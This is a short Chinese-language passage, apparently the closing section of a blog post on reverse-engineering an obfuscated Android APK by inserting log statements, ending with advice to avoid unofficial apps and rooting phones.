被混淆过的APK,在分析的时候无疑是十分困难的,尤其是对安卓编程不太熟悉的朋友。因此,这次没有从程序运行流程开始分析,而是采用“症状”式的猜测进行打Log分析,这一方面可以节省分析成本,另一方面也可以真实看到程序运行到某处的结果,为我们的下一步分析提供有效的数据支持。
通过本文以及前几篇安卓程序的分析文章,大家可以发现,对于“ROOT”过的手机,是没有安全可言的,最后,提醒大家要妥善地使用自己的手机,不要随意安装非正规的软件,不到万不得已不要“ROOT”掉手机。